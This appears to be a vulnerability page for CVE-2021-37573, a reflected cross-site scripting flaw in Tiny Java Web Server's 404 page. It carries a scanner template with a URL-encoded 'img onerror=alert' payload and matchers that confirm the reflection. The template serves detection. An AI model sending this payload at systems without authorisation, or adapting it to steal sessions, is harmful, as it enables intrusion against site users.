CVE-2021-37573: Tiny Java Web Server - Cross-Site Scripting

2025-08-01 Tiny Java Web Server PoC Public

Description

A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404 Page not Found" error page.

PoC

id: CVE-2021-37573

info:
  name: Tiny Java Web Server - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404 Page not Found" error page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/13
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37573
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-042.txt
    - http://seclists.org/fulldisclosure/2021/Aug/13
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37573
    cwe-id: CWE-79
    epss-score: 0.03398
    epss-percentile: 0.88226
    cpe: cpe:2.3:a:tiny_java_web_server_project:tiny_java_web_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tiny_java_web_server_project
    product: tiny_java_web_server
  tags: cve2021,cve,xss,tjws,java,seclists,tiny_java_web_server_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<H2>404 te<img src=x onerror=alert(42)>st not found</H2>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404
# digest: 4a0a0047304502204bca8401c7be799990c30ea595616a02fb9a981d08c1a4e8a876ab7f776df1a8022100bc2c1ce66245bf22d1ae51311f25aab5ee66633c38465cca5cf1d9827506852a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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